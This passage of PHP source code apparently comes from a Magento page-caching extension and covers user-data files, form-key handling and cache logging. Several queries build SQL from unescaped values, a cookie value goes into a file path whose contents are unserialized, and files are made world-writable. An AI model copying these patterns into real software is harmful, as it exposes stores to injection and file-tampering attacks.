mysqli_fetch_assoc($result)): $id = (int) $row['page_id']; break; endwhile; if ($id): return true; else: return false; endif; else: return false; endif; } private static function _checkLoggedIn() { if (self::_getStoreConfig('evolvedcaching/general/mustlogin')): if (!isset($_COOKIE['evolved_loggedin'])): $_GET['disabled'] = true; throw new Exception('User not logged in.'); endif; endif; } private static function _loadUserData() { $path = EVOLVED_ROOT . EDS . 'var' . EDS . 'evolved' . EDS . 'user_' . self::_identifyUser(); if (file_exists($path)): $data = file_get_contents($path); self::$_userdata = unserialize($data); endif; $included = array( 'mode', 'dir', 'limit', 'order' ); foreach ($_GET as $key => $arg): if (in_array($key, $included)): self::$_userdata[$key] = $arg; endif; endforeach; } private static function _saveUserData() { if (self::$_userdata): $path = EVOLVED_ROOT . EDS . 'var' . EDS . 'evolved' . EDS . 'user_' . self::_identifyUser(); $data = serialize(self::$_userdata); file_put_contents($path, $data); @chmod($path, 0777); endif; } private static function _updateUserCookie() { if (!self::$_userlifetime): $lifetime = (int) self::_getStoreConfig('web/cookie/cookie_lifetime'); self::$_userlifetime = $lifetime ? $lifetime : 86400; endif; setcookie('evolved_user', self::_identifyUser(), time() + self::$_userlifetime, '/', self::$_host); } private static function _identifyUser() { if (!self::$_userid): if (!isset($_COOKIE['evolved_user'])): do { $id = md5(rand()); $path = EVOLVED_ROOT . EDS . 'var' . EDS . 'evolved' . EDS . 'user_' . $id; } while (file_exists($path)); else: $id = $_COOKIE['evolved_user']; endif; self::$_userid = $id; endif; return self::$_userid; } private static function _getUserData($key) { if (isset(self::$_userdata[$key])): return self::$_userdata[$key]; endif; return false; } private static function _getSetupPath() { if (!self::$_storespath): self::$_storespath = "\x65\166o\x6cv\x65d\x63\x61\143\150\x69ng\057\x69\156\163ta\x6c\154/\163\145tup"; endif; return self::$_storespath; } private static function _addCategoryTaxData($page) { $mode = self::_getUserData('mode') ? self::_getUserData('mode') : self::$_categorymode; $dir = self::_getUserData('dir') ? self::_getUserData('dir') : self::$_categorydir; $limit = self::_getUserData('limit') ? self::_getUserData('limit') : self::$_categorylimit; $order = self::_getUserData('order') ? self::_getUserData('order') : self::$_categoryorder; $js = ' <script type="text/javascript"> //<![CDATA[ if (typeof(thisevolvedcookie) == "object") { thisevolvedcookie.modifiers.mode = "' . htmlspecialchars($mode, ENT_QUOTES) . '"; thisevolvedcookie.modifiers.dir = "' . htmlspecialchars($dir, ENT_QUOTES) . '"; thisevolvedcookie.modifiers.limit = "' . htmlspecialchars($limit, ENT_QUOTES) . '"; thisevolvedcookie.modifiers.order = "' . htmlspecialchars($order, ENT_QUOTES) . '"; thisevolvedcookie.tax = "' . self::$_tax . '"; } //]]> </script> '; return str_replace('</body>', $js . '</body>', $page); } private static function _addFormKey($page) { if ($formkey = Mage::getSingleton('core/session')->getFormKey()): if (strpos($page, $formkey) !== false): $page = str_replace('</body>', '<!-- evolved_formkey-' . $formkey . ' --></body>', $page); endif; endif; return $page; } private static function _updateFormKeys($page) { if (!isset($_COOKIE['evolved_formkey'])): if (!class_exists('Mage')): require 'app/Mage.php'; Mage::app(); endif; $newformkey = Mage::getSingleton('core/session', array('name' => 'frontend'))->getFormKey(); setcookie('evolved_formkey', $newformkey, time() + self::$_userlifetime, '/', self::$_host); if (Mage::registry('controller')): Mage::unregister('controller'); endif; endif; if ($oldformkey = self::_getOldFormKey($page)): if (!isset($newformkey)): $newformkey = $_COOKIE['evolved_formkey']; setcookie('evolved_formkey', $newformkey, time() + self::$_userlifetime, '/', self::$_host); endif; $page = str_replace('<!-- evolved_formkey-' . $oldformkey . ' -->', '', $page); if ($newformkey): if ($newformkey != $oldformkey): $page = str_replace($oldformkey, $newformkey, $page); endif; endif; endif; return $page; } private static function _getOldFormKey($page) { preg_match('/<!-- evolved_formkey-(.+) -->/U', $page, $match); if (!empty($match[1])): return $match[1]; endif; return false; } private static function _logCachedPage() { if ($db = self::_getRDb()): $sql = 'SELECT * FROM `'. self::$_prefix . 'evolved_caching` WHERE `cachekey` = \'' . self::getCacheKey() . '\' AND `storage` = \'' . self::_getStorage() . '\''; $result = mysqli_query($db, $sql); $db = self::_getDb(); $found = false; while ($row = mysqli_fetch_assoc($result)): $found = (int) $row['id']; break; endwhile; if ($found): $sql = 'UPDATE `'. self::$_prefix . 'evolved_caching` SET `accessed` = NOW() WHERE `id` = ' . $found; else: $categorymodifier = mysqli_real_escape_string($db, self::$_logentry['categorymodifier']); $categorymodifier = htmlentities($categorymodifier); $categorymodifier = str_replace('<br />', '<br />', $categorymodifier); $layeredmodifier = mysqli_real_escape_string($db, self::$_logentry['layeredmodifier']); $layeredmodifier = htmlentities($layeredmodifier); $layeredmodifier = str_replace('<br />', '<br />', $layeredmodifier); $sql = 'INSERT INTO `'. self::$_prefix . 'evolved_caching` ( `storecode`, `protocol`, `agentmodifier`, `currency`, `categorymodifier`, `layeredmodifier`, `tax`, `request`, `accessed`, `cachekey`, `storage` ) VALUES ( \'' . self::$_logentry['storecode'] . '\', \'' . self::$_logentry['protocol'] . '\', \'' . self::$_logentry['agentmodifier'] . '\', \'' . self::$_logentry['currency'] . '\', \'' . $categorymodifier . '\', \'' . $layeredmodifier . '\', \'' . self::$_logentry['tax'] . '\', \'' . self::$_logentry['request'] . '\', NOW(), \'' . self::getCacheKey() . '\', \'' . self::_getStorage() . '\' )'; endif; $result = mysqli_query($db, $sql); endif; } private static function _clearLogentry() { if ($db = self::_getDb()): $sql = 'DELETE FROM `'. self::$_prefix . 'evolved_caching` WHERE `cachekey` = \'' . self::getCacheKey() . '\' AND `storage` = \'' . self::_getStorage() . '\''; mysqli_query($db, $sql); endif; } private static function _getMemcached() { return self::$_memcached; } public static function getRedirectKey($url) { try { $original = $_SERVER['REQUEST_URI']; self::$_cookiereq = true; self::_isEnabled(); $_SERVER['REQUEST_URI'] = $url; self::_getRequest(); self::_getStore(); self::_updateUserData(); self::_getArea(); self::getAgentModifier(); self::_getCategoryModifier(); self::_getCurrency(); self::_getCustomerTax(); self::_checkPageExclusions(); self::$_cachekey = false; $_SERVER['REQUEST_URI'] = $original; return array( 'key' => self::getCacheKey(), 'area' => self::$_area ); } catch(Exception $e) { return false; } } public static function getBlockArea($url) { try { $original = $_SERVER['REQUEST_URI']; $_SERVER['REQUEST_URI'] = $url; self::_getConfig(); self::_getRequest(); self::_getArea((int) Mage::getStoreConfig('web/url/use_store')); $_SERVER['REQUEST_URI'] = $original; return self::$_area ? self::$_area : false; } catch(Exception $e) { return false; } } public static function getPageModifiers() { return self::$_pagemodifiers; } public static function setPageIsAdmin() { self::$_pageisadmin = true; } public static function forwardRequest() { $_POST['evolvedforward'] = true; include_once 'index.php'; } public static function getUseAjax() { return self::$_useajax; } public static function _populatePostData() { if (isset($_GET['evolvedupdate'])): $_POST = $_GET; $_GET = array(); endif; } public static function flushPage() { if (self::$_page && !self::getUseAjax()): self::_sendHeaders(); self::_outputPage(); ob_flush(); flush(); endif; } }